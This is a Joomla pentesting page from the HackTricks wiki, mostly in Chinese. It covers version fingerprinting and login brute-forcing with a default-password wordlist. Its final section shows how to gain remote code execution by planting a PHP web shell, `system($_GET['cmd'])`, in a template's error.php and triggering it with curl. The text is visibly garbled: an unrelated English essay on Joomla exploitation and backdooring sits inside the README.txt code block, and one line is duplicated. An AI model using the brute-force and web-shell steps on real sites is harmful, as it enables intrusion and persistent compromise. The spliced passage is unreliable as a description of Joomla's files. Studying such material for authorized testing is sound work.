hacktricks/network-services-pentesting/pentesting-web/joomla.md

133 lines
5.7 KiB
Markdown
Raw Normal View History

2022-10-02 23:08:05 +00:00
# Joomla
2022-04-28 16:01:33 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告** 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>
### Joomla统计信息
2022-10-02 23:08:05 +00:00
Joomla收集一些匿名的[使用统计信息](https://developer.joomla.org/about/stats.html)例如Joomla、PHP和数据库版本的分布以及Joomla安装中使用的服务器操作系统。 可以通过他们的公共[API](https://developer.joomla.org/about/stats/api.html)查询这些数据。
2022-10-02 23:08:05 +00:00
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
2023-08-03 19:12:22 +00:00
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
2022-10-02 23:08:05 +00:00
}
```
2023-08-03 19:12:22 +00:00
## 枚举
2022-10-02 23:08:05 +00:00
### 发现/足迹
2022-10-02 23:08:05 +00:00
2023-08-03 19:12:22 +00:00
* 检查 **meta**
2022-10-02 23:08:05 +00:00
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
2023-08-03 19:12:22 +00:00
* robots.txt
2022-10-02 23:08:05 +00:00
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
## Joomla
### Introduction
Joomla is a popular open-source content management system (CMS) written in PHP. It is used to build websites and online applications. In this section, we will discuss how to pentest Joomla websites.
### Enumeration
1. **Version Detection**: Use tools like `wpscan` or `joomscan` to identify the Joomla version running on the target website.
2. **Directory and File Enumeration**: Look for common Joomla directories like `/administrator`, `/components`, `/modules`, `/plugins`, and `/templates`. Also, search for configuration files like `configuration.php`.
### Exploitation
1. **Known Vulnerabilities**: Exploit known vulnerabilities specific to the detected Joomla version. Search for relevant exploits on platforms like Exploit Database or GitHub.
2. **Brute Force Attacks**: Attempt to brute force the login page using tools like Hydra or Burp Suite Intruder.
3. **SQL Injection**: Look for SQL injection vulnerabilities in input fields or parameters. Use tools like SQLMap to automate the process.
### Post-Exploitation
1. **Privilege Escalation**: If you gain access to the Joomla admin panel, escalate privileges by creating a new admin user or modifying existing user roles.
2. **Backdooring**: Plant a backdoor for persistent access to the Joomla website. This can be achieved by modifying existing files or creating new ones.
### Conclusion
Pentesting Joomla websites requires a good understanding of the CMS and its vulnerabilities. By following the enumeration, exploitation, and post-exploitation techniques mentioned above, you can effectively assess the security of Joomla websites.
2022-10-02 23:08:05 +00:00
```
1- What is this?
2023-08-03 19:12:22 +00:00
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
2022-10-02 23:08:05 +00:00
```
2023-08-03 19:12:22 +00:00
### 版本
2022-10-02 23:08:05 +00:00
***/administrator/manifests/files/joomla.xml** 中可以看到版本。
***/language/en-GB/en-GB.xml** 中可以获取 Joomla 的版本。
***plugins/system/cache/cache.xml** 中可以看到一个大致的版本。
2022-10-02 23:08:05 +00:00
```bash
droopescan scan joomla --url http://joomla-site.local/
```
### Brute-Force
您可以使用此[脚本](https://github.com/ajnik/joomla-bruteforce)尝试对登录进行暴力破解。
2022-10-02 23:08:05 +00:00
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
2023-08-03 19:12:22 +00:00
2022-10-02 23:08:05 +00:00
admin:admin
```
## RCE
2022-04-28 16:01:33 +00:00
如果你成功获取了**管理员凭证**,你可以通过添加一小段**PHP代码**来在其中实现**RCE**。我们可以通过**自定义**一个**模板**来实现这一点。
2022-04-28 16:01:33 +00:00
1. 在`Configuration`下方点击**`Templates`**以打开模板菜单。
2. 点击一个**模板**名称。让我们选择`Template`列标题下的**`protostar`**。这将带我们到**`Templates: Customise`**页面。
3. 最后,你可以点击一个页面以查看**页面源代码**。让我们选择**`error.php`**页面。我们将添加一个**PHP 一行代码来执行代码**,如下所示:
```php
system($_GET['cmd']);
```
4. **保存并关闭**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`